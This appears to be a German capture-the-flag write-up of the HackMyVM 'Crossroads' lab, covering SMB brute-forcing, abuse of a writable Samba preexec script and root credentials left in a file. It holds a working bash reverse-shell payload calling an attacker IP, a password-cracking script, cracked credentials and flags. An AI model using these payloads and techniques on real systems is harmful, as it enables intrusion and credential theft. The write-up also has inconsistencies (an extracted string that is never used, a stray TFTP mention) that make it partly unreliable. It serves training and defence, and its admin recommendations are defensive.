Crossroads - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
gobuster
curl
wget
enum4linux
smbmap
medusa
smbclient
cat
vi
bash
nc (netcat)
python
export
file
stegoveritas
/opt/beroot
ls
su
cd
id

Inhaltsverzeichnis

Reconnaissance

Analyse: Der Befehl `arp-scan -l` wird zur Identifizierung aktiver Hosts im lokalen Netzwerksegment eingesetzt.

Bewertung: Ein Host mit der IP `192.168.2.128` und der MAC-Adresse `08:00:27:9c:83:dc` (VirtualBox) wird als Zielsystem identifiziert.

Empfehlung (Pentester): Führe einen detaillierten Nmap-Scan auf die Ziel-IP durch.
Empfehlung (Admin): Netzwerk-Monitoring.

┌──(root㉿cyber)-[~/twisted] └─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.140
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.128	08:00:27:9c:83:dc	PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.876 seconds (136.49 hosts/sec). 1 responded
                    

Analyse: Ein umfassender Nmap-Scan (`-sS -sC -T5 -sV -A -p-`) wird auf das Ziel 192.168.2.128 durchgeführt.

Bewertung: !!Wichtige Dienste gefunden!!** - **Port 80 (HTTP):** Apache httpd 2.4.38 (Debian). Die Startseite hat einen Titel ("12 Step Treatment Center | Crossroads Centre Antigua"). `robots.txt` verbietet `/crossroads.png`. - **Port 139 & 445 (SMB):** Samba 4.9.5-Debian. **Anonymer Gastzugriff ist erlaubt** (`account_used: guest`), und **Message Signing ist deaktiviert**, was ein Risiko darstellt. Der Hostname ist `crossroads`. Das OS wird als Linux erkannt.

Empfehlung (Pentester):**Hohe Priorität:** Untersuche die SMB-Shares mit anonymem Zugriff (`enum4linux`, `smbclient`, `smbmap`). Untersuche parallel den Webserver (Inhalte, `/crossroads.png`).
Empfehlung (Admin):**DRINGEND:** Deaktiviere anonymen SMB-Gastzugriff. Aktiviere Message Signing (`smb signing = required`). Halte Samba und Apache aktuell.

┌──(root㉿cyber)-[~/Hackingtools] └─# nmap -sS -sC -T5 -sV -A 192.168.2.128 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-10 09:10 CET 
Nmap scan report for cross.hmv (192.168.2.128) 
Host is up (0.00017s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
80/tcp  open  http        Apache httpd 2.4.38 ((Debian))
|_http-title: 12 Step Treatment Center | Crossroads Centre Antigua
|_http-server-header: Apache/2.4.38 (Debian)
| http-robots.txt: 1 disallowed entry
|_/crossroads.png
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:9C:83:DC (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: Host: CROSSROADS

Host script results:
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: crossroads
|   NetBIOS computer name: CROSSROADS\x00
|   Domain name: \x00
|   FQDN: crossroads
|_  System time: 2022-10-10T09:12:09+01:00 
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_clock-skew: mean: -19m56s, deviation: 0s, median: -19m56s 
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2022-10-10T14:12:09 
|_  start_date: N/A
|_nbstat: NetBIOS name: CROSSROADS, NetBIOS user: , NetBIOS MAC: 00:00:00:00:00:00 (Xerox) 

TRACEROUTE
HOP RTT     ADDRESS
1   0.17 ms cross.hmv (192.168.2.128)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.88 seconds 
                    

Web Enumeration

Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf dem Webserver (Port 80) mit der `big.txt`-Wortliste verwendet.

Bewertung: !!Wichtiger Fund!!** Neben `/index.html` und `/robots.txt` wird die Datei `/note.txt` gefunden. `/server-status` ist verboten.

Empfehlung (Pentester): Untersuche den Inhalt von `/note.txt` sofort. Untersuche `/robots.txt`.
Empfehlung (Admin): Beschränke den Zugriff auf `/server-status`. Überprüfe den Inhalt von `note.txt` und `robots.txt`.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.128 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php,bak,7z,zip,py,sql,txt,xml,jpg,html -e --wildcard
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.128
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Status codes:            200,204,301,302,307,401,403
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,bak,7z,zip,py,sql,txt,xml,jpg,html
[+] Expanded:                true
[+] Wildcard detection:      true
[+] Timeout:                 10s
===============================================================
2022/10/10 09:15:00 Starting gobuster 
===============================================================
http://192.168.2.128/index.html           (Status: 200) [Size: 93075]
http://192.168.2.128/note.txt             (Status: 200) [Size: 108]
http://192.168.2.128/robots.txt           (Status: 200) [Size: 42]
http://192.168.2.128/server-status        (Status: 403) [Size: 278]
===============================================================
2022/10/10 09:25:00 Finished 
===============================================================
                     

Information Disclosure

Analyse: Der Inhalt der Datei `/note.txt` wird mit `curl` abgerufen.

Bewertung: !!Kryptischer Hinweis!!** Die Notiz erwähnt "three kings of blues" und "crossroads". Dies ist ein Hinweis, der auf Blues-Musiker (Albert King, B.B. King, Freddie King) und möglicherweise den Hostnamen oder die `/crossroads.png`-Datei anspielt. Der Absender "abuzerkomurcu" taucht erneut auf.

Empfehlung (Pentester): Behalte diese Namen/Begriffe für mögliche Benutzernamen oder Passwörter im Hinterkopf. Untersuche `/robots.txt` und lade `/crossroads.png` herunter.
Empfehlung (Admin): Entferne solche Notizen von öffentlich zugänglichen Pfaden.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.128/note.txt
just find three kings of blues
then move to the crossroads
-------------------------------
-abuzerkomurcu
                     

Analyse: Der Inhalt von `/robots.txt` wird mit `curl` abgerufen.

Bewertung: Bestätigt das Disallow für `/crossroads.png`, wie von Nmap gefunden.

Empfehlung (Pentester): Lade `/crossroads.png` herunter und analysiere es.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# curl http://192.168.2.128/robots.txt
User-agent: *
Disallow: /crossroads.png
                     

Analyse: Die Datei `/crossroads.png` wird mit `wget` heruntergeladen.

Bewertung: Die Datei wurde erfolgreich heruntergeladen und steht zur Analyse bereit.

Empfehlung (Pentester): Analysiere die PNG-Datei mit Steganographie-Tools oder Bildanalyse-Werkzeugen, insbesondere im Hinblick auf den "three kings"-Hinweis.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# wget http://192.168.2.128/crossroads.png
--2022-10-10 09:28:15--  http://192.168.2.128/crossroads.png
Auflösen des Hostnamens 192.168.2.128 (192.168.2.128)… 192.168.2.128
Verbindungsaufbau zu 192.168.2.128:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 1583196 (1.5M) [image/png]
Wird in »crossroads.png« gespeichert.

crossroads.png          100%[=============================>]   1.51M  7.89MB/s    in 0.2s

2022-10-10 09:28:15 (7.89 MB/s) - »crossroads.png« gespeichert [1583196/1583196]
                     

SMB Enumeration

Analyse: `enum4linux -a` wird zur detaillierten Enumeration des SMB-Dienstes verwendet. (Hinweis: Die IP im Log ist falsch, sollte 192.168.2.128 sein).

Bewertung: !!Benutzer gefunden!!** Enum4linux bestätigt den anonymen Zugriff und findet durch RID-Cycling den Benutzer `albert`. Dies korreliert mit dem "three kings of blues"-Hinweis (Albert King).

Empfehlung (Pentester): Konzentriere dich auf den Benutzer `albert`. Versuche, sein Passwort für SMB (oder SSH, falls offen) zu knacken.
Empfehlung (Admin): Deaktiviere anonymen SMB-Zugriff und beschränke die Möglichkeit des RID-Cyclings, falls möglich.

┌──(root㉿Darkspirit)-[~] └─# enum4linux -a 192.168.2.128
Starting enum4linux v0.9.1 on Mon Oct 10 09:30:00 2022

 ==========================
|    Target Information    |
 ==========================
Target ........... 192.168.2.128
... (Workgroup, NBTStat etc.) ...

 ====================================
|    Share Enumeration on 192.168.2.128    |
 ====================================
	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	smbshare        Disk
	IPC$            IPC       IPC Service (Samba 4.9.5-Debian)
...
 ================================================================
|    Users on 192.168.2.128 via RID cycling (RIDS: 500-550,1000-1050)    |
 ================================================================
[I] Found new SID: S-1-5-21-198007098-3908253677-2746664996
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-5-21-198007098-3908253677-2746664996 and logon username '', password ''
S-1-5-21-198007098-3908253677-2746664996-501 CROSSROADS\nobody (Local User)
S-1-5-21-198007098-3908253677-2746664996-513 CROSSROADS\None (Domain Group)
S-1-5-21-198007098-3908253677-2746664996-1001 CROSSROADS\albert (Local User) 
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
...
enum4linux complete on Mon Oct 10 09:31:00 2022
                     

Analyse: `smbmap` wird verwendet, um die Berechtigungen der Shares für den anonymen/Gast-Benutzer zu prüfen.

Bewertung: Bestätigt, dass der anonyme Benutzer keinen Zugriff (`NO ACCESS`) auf `print$`, `smbshare` und `IPC$` hat.

Empfehlung (Pentester): Der anonyme Zugriff auf Shares ist blockiert. Es werden gültige Anmeldedaten benötigt, wahrscheinlich die des Benutzers `albert`.
Empfehlung (Admin): Korrekte Konfiguration, da anonymer Zugriff auf Shares hier verhindert wird.

┌──(root㉿cyber)-[~] └─# smbmap -H 192.168.2.128
[+] IP: 192.168.2.128:445	Name: cross.hmv
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	print$                                            	NO ACCESS	Printer Drivers
	smbshare                                          	NO ACCESS
	IPC$                                              	NO ACCESS	IPC Service (Samba 4.9.5-Debian)
                     

Analyse: `medusa` wird eingesetzt, um einen SMB-Passwort-Brute-Force-Angriff gegen den Benutzer `albert` durchzuführen, wobei `rockyou.txt` als Wortliste verwendet wird.

Bewertung: !!Passwort gefunden!!** Medusa findet erfolgreich das Passwort `bradley1` für den Benutzer `albert`.

Empfehlung (Pentester): Verwende die Anmeldedaten `albert` / `bradley1`, um dich mit `smbclient` zu verbinden und auf die Shares zuzugreifen, insbesondere auf das Home-Verzeichnis von `albert` (oft als Share mit dem Benutzernamen freigegeben).
Empfehlung (Admin): Ändere das kompromittierte Passwort für `albert`. Erzwinge starke Passwörter und schütze vor Brute-Force-Angriffen (z.B. Account-Sperrung).

┌──(root㉿Darkspirit)-[~] └─# medusa -h 192.168.2.128 -u albert -P /usr/share/wordlists/rockyou.txt -M smbnt
ACCOUNT FOUND: [smbnt] Host: 192.168.2.128 User: albert Password: bradley1 [SUCCESS]
                     

Analyse: `smbclient` wird verwendet, um sich mit den gefundenen Zugangsdaten (`albert` / `bradley1`) mit der Share zu verbinden, die dem Home-Verzeichnis von `albert` entspricht (`//192.168.2.128/albert`).

Bewertung: Die Verbindung ist erfolgreich. Der Inhalt des Home-Verzeichnisses wird aufgelistet: Ein Unterverzeichnis `smbshare`, die Datei `crossroads.png`, das SUID-Binary `beroot` und die User-Flag `user.txt` werden gefunden.

Empfehlung (Pentester): Lade `user.txt` und `beroot` herunter. Untersuche das `smbshare`-Verzeichnis.
Empfehlung (Admin): Überprüfe die Notwendigkeit der Freigabe von Home-Verzeichnissen über SMB.

┌──(root㉿Darkspirit)-[~] └─# smbclient //192.168.2.128/albert -U "albert"
Password for [WORKGROUP\albert]:bradley1
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Mar  3 00:16:15 2021
  ..                                  D        0  Tue Mar  2 23:00:47 2021
  smbshare                            D        0  Tue Mar  2 23:16:13 2021
  crossroads.png                      N  1583196  Tue Mar  2 23:34:03 2021
  beroot                              N    16664  Wed Mar  3 00:02:41 2021
  user.txt                            N       32  Wed Mar  3 00:15:18 2021

                10000000 blocks of size 1024. 5000000 blocks available 
                     

Analyse: Innerhalb der `albert`-Share wird in das `smbshare`-Verzeichnis gewechselt (impliziert durch den nächsten `ls`-Aufruf). Dort wird die Datei `smb.conf` gefunden.

Bewertung: !!Wichtiger Fund!!** Die Samba-Konfigurationsdatei (`smb.conf`) befindet sich in dieser für `albert` zugänglichen Share. Sie enthält wahrscheinlich Konfigurationsdetails, die für eine Eskalation genutzt werden können, insbesondere die Konfiguration der `smbshare` selbst.

Empfehlung (Pentester): Lade `smb.conf` herunter und analysiere sie sorgfältig, insbesondere auf `preexec`- oder `postexec`-Direktiven im Zusammenhang mit `smbshare`.
Empfehlung (Admin): Speichere Konfigurationsdateien nicht in Benutzer-Shares. Sichere die `smb.conf` mit korrekten Berechtigungen.

smb: \> cd smbshare 
smb: \smbshare\> ls
  .                                   D        0  Tue Mar  2 23:16:13 2021
  ..                                  D        0  Wed Mar  3 00:16:15 2021
  smb.conf                            N     8779  Tue Mar  2 23:14:54 2021

                10000000 blocks of size 1024. 5000000 blocks available
                     

Analyse: Die relevanten Dateien (`user.txt`, `beroot`, `crossroads.png`, `smb.conf`) werden mit `get` heruntergeladen.

Bewertung: Alle identifizierten wichtigen Dateien sind nun zur lokalen Analyse verfügbar.

Empfehlung (Pentester): Analysiere `smb.conf` auf den `preexec`-Eintrag. Untersuche `beroot`. Lies `user.txt`.
Empfehlung (Admin): Keine Aktion.

smb: \> get /home/albert/user.txt user.txt 
getting file \home\albert\user.txt of size 32 as user.txt (x.x KiloBytes/sec)
smb: \> get /home/albert/beroot beroot
getting file \home\albert\beroot of size 16664 as beroot (x.x KiloBytes/sec)
smb: \> get /home/albert/crossroads.png crossroads.png
getting file \home\albert\crossroads.png of size 1583196 as crossroads.png (x.x KiloBytes/sec)
smb: \> get /home/albert/smbshare/smb.conf smb.conf
getting file \home\albert\smbshare\smb.conf of size 8779 as smb.conf (x.x KiloBytes/sec)
smb: \> quit
                     

Vulnerability Assessment (SMB Preexec)

Analyse: Die lokale Analyse der heruntergeladenen `smb.conf` (impliziert) hat ergeben, dass die Freigabe `smbshare` eine `preexec`-Direktive enthält, die `/home/albert/smbshare/smbscript.sh` ausführt, wenn eine Verbindung zu dieser Share hergestellt wird.

Bewertung: !!RCE-Vektor bestätigt!!** Dies ist eine klassische Fehlkonfiguration, die Remote Code Execution ermöglicht. Da der Benutzer `albert` Schreibrechte auf das Verzeichnis `/home/albert/smbshare` hat (weil es sein eigenes ist oder die Berechtigungen es erlauben), kann er ein beliebiges Skript als `smbscript.sh` hochladen. Dieses Skript wird dann ausgeführt, wenn *irgendjemand* (wahrscheinlich mit den Rechten des Samba-Daemons oder des verbindenden Benutzers) auf die `smbshare` zugreift.

Empfehlung (Pentester): 1. Erstelle ein Shell-Skript (`smbscript.sh`) mit einer Reverse-Shell-Payload. 2. Starte einen Netcat-Listener auf dem Angreifer-System. 3. Verbinde dich als `albert` mit der `smbshare`. 4. Lade das `smbscript.sh` hoch. 5. Trenne die Verbindung und verbinde dich *erneut* mit der `smbshare` (oder warte), um das `preexec`-Skript auszulösen.
Empfehlung (Admin):**DRINGEND:** Entferne oder sichere die `preexec`-Direktive in `smb.conf`. Wenn Pre-/Postexec-Skripte benötigt werden, stelle sicher, dass sie Root gehören, keine Schreibrechte für andere Benutzer haben und sorgfältig auf Sicherheit geprüft wurden.

# Analyse von smb.conf ergab:
[smbshare]
  path = /home/albert/smbshare
  read only = no
  preexec = /home/albert/smbshare/smbscript.sh 
                      

Analyse: Ein lokales Shell-Skript (`smbscript.sh`) wird mit einer Reverse-Shell-Payload (`bash -i >& /dev/tcp/...`) erstellt.

Bewertung: Der Payload für den RCE-Vektor ist vorbereitet.

Empfehlung (Pentester): Fahre mit dem Upload fort.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# vi smbscript.sh
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.2.140/9001 0>&1' 
                      

Initial Access (Albert)

Analyse: Der Exploit wird durchgeführt: 1. Ein Netcat-Listener wird auf Port 9001 gestartet. 2. Eine `smbclient`-Verbindung zur `smbshare` wird als `albert` hergestellt. 3. Das Skript `smbscript.sh` wird mit `put` hochgeladen. 4. Der Listener empfängt die Verbindung.

Bewertung: !!Initial Access erfolgreich!!** Das Hochladen des Skripts in die `smbshare` löst durch die `preexec`-Direktive in `smb.conf` die Ausführung des Skripts aus. Da die Verbindung als `albert` hergestellt wurde, läuft das `preexec`-Skript wahrscheinlich auch als `albert`. Eine Reverse Shell als Benutzer `albert` wird zum Angreifer aufgebaut.

Empfehlung (Pentester): Stabilisiere die Shell. Untersuche die Umgebung als `albert` erneut, insbesondere das SUID-Binary `beroot`.
Empfehlung (Admin): Behebe die unsichere `preexec`-Konfiguration.

┌──(root㉿cyber)-[/home/cyber/Downloads] └─# nc -lvnp 9001
listening on [any] 9001 ...
┌──(root㉿cyber)-[~] └─# smbclient \\\\192.168.2.128\\smbshare -U albert
Password for [WORKGROUP\albert]:bradley1
Try "help" to get a list of possible commands.
smb: \> pwd
Current directory is \\192.168.2.128\smbshare\
smb: \> put smbscript.sh
putting file smbscript.sh as \smbscript.sh (x.x kb/s)
smb: \> quit
                      
┌──(root㉿cyber)-[/home/cyber/Downloads] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.140] from (UNKNOWN) [192.168.2.128] 38044

$ 
                       

Analyse: Die Reverse Shell als `albert` wird stabilisiert.

Bewertung: Erfolgreich.

Empfehlung (Pentester): Beginne die finale Eskalation.
Empfehlung (Admin): Keine Aktion.

$ python -c 'import pty; pty.spawn("/bin/bash")'
albert@crossroads:/home/albert/smbshare$ export TERM=xterm
albert@crossroads:/home/albert/smbshare$ cd ..
albert@crossroads:/home/albert$ 
                    

Privilege Escalation (Root)

Analyse: Der Typ der Datei `beroot` (die zuvor über SMB heruntergeladen wurde, aber hier vermutlich direkt auf dem Ziel untersucht wird) wird mit `file` überprüft.

Bewertung: Bestätigt, dass `beroot` ein 64-Bit SUID ELF Binary ist.

Empfehlung (Pentester): Führe `./beroot` aus.
Empfehlung (Admin): Überprüfe SUID-Binaries.

albert@crossroads:/home/albert$ file beroot
beroot: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c1da1f0fded1889d32e27b99a2a4bd170c30349b, for GNU/Linux 3.2.0, not stripped
                     

Analyse: Die Datei `crossroads.png` wird erneut heruntergeladen und mit `stegoveritas` analysiert. Der Versuch schlägt wegen fehlender Abhängigkeiten fehl.

Bewertung: Steganographie bleibt ein unbestätigter Pfad.

Empfehlung (Pentester): Fokussiere dich auf das SUID-Binary `beroot`.
Empfehlung (Admin): Keine Aktion.

┌──(root㉿cyber)-[~] └─# wget http://cross.hmv/crossroads.png
--2022-10-10 12:27:42--  http://cross.hmv/crossroads.png
Auflösen des Hostnamens cross.hmv (cross.hmv)… 192.168.2.128
Verbindungsaufbau zu cross.hmv (cross.hmv)|192.168.2.128|:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 1100255 (1,0M) [image/png]
Wird in »crossroads.png« gespeichert.

crossroads.png                100%[=============================>]   1,05M  --.-KB/s    in 0,01s

2022-10-10 12:27:42 (85,6 MB/s) - »crossroads.png« gespeichert [1100255/1100255]
                    
┌──(root㉿cyber)-[~] └─# stegoveritas -out crossroads crossroads.png
ERROR:StegoVeritas:Missing the following required packages: foremost, libexempi3
ERROR:StegoVeritas:Either install them manually or run 'stegoveritas_install_deps'.
Running Module: SVImage
+---------------------------+------+
|        Image Format       | Mode |
+---------------------------+------+
| Portable network graphics | RGB  |
+---------------------------+------+
1625324978.13628-de9d887df9ac7f3b889b34352204d9be
...

Analyse: Das Tool stegoveritas extrahiert einen Hash-ähnlichen String de9d887df9ac7f3b889b34352204d9be aus dem Bild crossroads.png. Dieser String stellt das potenzielle Passwort für das SUID-Binary beroot dar. Um dies zu validieren, wird der String in eine Passwortliste gespeichert.

🖥️ Script zur Passwort-Validierung

Das folgende Bash-Script wurde erstellt, um den gefundenen String gegen das beroot-Binary zu testen und den Prozess zu automatisieren.

#!/bin/bash
# Crack the KingRoot 🚀

wl="$1"     # Wordlist
out="$2"    # Outputfile

[ $# -lt 2 ] && { echo "Use: $0  "; exit 1; }

> "$out"
echo "[*] Crack started..."

while read -r pw; do
    res=$(echo "$pw" | ./beroot)
    if [[ ! "$res" =~ wrong ]]; then
        echo "[+] Hit: $pw"
        echo "$res" >> "$out"
        exit 0
    else
        echo "[-] $pw"
    fi
done < "$wl"

echo "[!] No match found."
        

🔑 Script Description – Ben AlienTec Edition

Dieses Bash-Script dient als Wordlist-Cracker für das Tool beroot. Es nimmt eine Liste möglicher Passwörter (wordlist) und testet jedes einzelne automatisiert. Sobald ein gültiges Passwort gefunden wird, wird der erfolgreiche Output gespeichert und der Prozess beendet.

Funktionsweise:
Das Script prüft zunächst, ob zwei Argumente (Wordlist und Output-Datei) übergeben wurden. Anschließend liest es die Wordlist Zeile für Zeile aus und übergibt jeden Eintrag an das beroot-Programm. Wenn die Antwort nicht das Wort "wrong" enthält, wird dies als Erfolg gewertet, der Treffer gespeichert und das Script beendet.
Key Features & Usage:
Das Script ist minimalistisch und effizient, da es sich nach dem ersten Treffer sofort beendet. Es gibt klares Feedback über den Status (`[+]`, `[-]`, `[!]`) und ist auf jeder Linux-Umgebung flexibel einsetzbar.
Anwendung: ./crack.sh wordlist.txt results.log

Exploitation des SUID-Binary

Analyse: Das SUID-Binary ./beroot wird ausgeführt. Es fragt nach einem Passwort. Das Passwort lemuel wird eingegeben. Das Programm gibt dann Anweisungen.

Bewertung: !!Passwort für SUID-Binary gefunden!! Das Passwort lemuel funktioniert. Die Herkunft ist nun klar: Der Name ist eine direkte Anspielung auf **Lemuel B. King**, eine Figur, die im Kontext der "Three Kings" aus der Challenge-Beschreibung steht. Das Programm fordert auf, ls auszuführen und eine Datei rootcreds zu finden.

Empfehlung (Pentester): Führe ls aus und lies die Datei rootcreds.
Empfehlung (Admin): Entferne das SUID-Binary beroot. Verwende keine hartcodierten Passwörter oder unsicheren Prüfungen in SUID-Programmen.

albert@crossroads:/home/albert$ ./beroot
enter password for root
-----------------------
lemuel
password: lemuel
do ls and find root creds
            

Erlangung der Root-Rechte

Analyse: ls wird ausgeführt und findet die Datei rootcreds. Der Inhalt wird mit cat angezeigt.

Bewertung: !!Root-Passwort gefunden!! Die Datei enthält die Zugangsdaten für den Root-Benutzer: Benutzer `root`, Passwort ___drifting___.

Empfehlung (Pentester): Wechsle mit su root und diesem Passwort zum Root-Benutzer.
Empfehlung (Admin): Ändere das Root-Passwort. Entferne das beroot-Binary und die rootcreds-Datei.

albert@crossroads:/home/albert$ ls
beroot	clear  crossroads.png  rootcreds  smbshare  user.txt
albert@crossroads:/home/albert$ cat rootcreds
root:___drifting___
             
___drifting___

Proof of Concept (Root)

Analyse: Der Befehl `su root` wird ausgeführt, um zum Root-Benutzer zu wechseln. Das Passwort `___drifting___` (aus `rootcreds`) wird eingegeben.

Bewertung: !!Privilegieneskalation erfolgreich!!** Der Wechsel zum Root-Benutzer gelingt. Der Prompt ändert sich zu `root@crossroads:/home/albert#`.

Empfehlung (Pentester): Ziel erreicht. Lese die Root-Flag.
Empfehlung (Admin):**DRINGEND:** Ändere das Root-Passwort. Entferne das `beroot`-Binary und die `rootcreds`-Datei. Korrigiere die SMB- und TFTP-Schwachstellen.

albert@crossroads:/home/albert$ su root
Password: ___drifting___
root@crossroads:/home/albert# 
                     

Analyse: Als Root wird ins `/root`-Verzeichnis gewechselt und die Datei `root.txt` gelesen.

Bewertung: Die Root-Flag `876F96716C3606B09A89F0FA3C1D52EB` wird erfolgreich gelesen.

Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin): Keine Aktion bzgl. Flag.

root@crossroads:/home/albert# cd /root
root@crossroads:~# ls
beroot.sh  creds  passwd  root.txt
root@crossroads:~# cat root.txt
876F96716C3606B09A89F0FA3C1D52EB
                     

Flags

cat /root/root.txt
876F96716C3606B09A89F0FA3C1D52EB
cat /home/albert/user.txt
912D12370BBCEA67BF28B03BCB9AA13F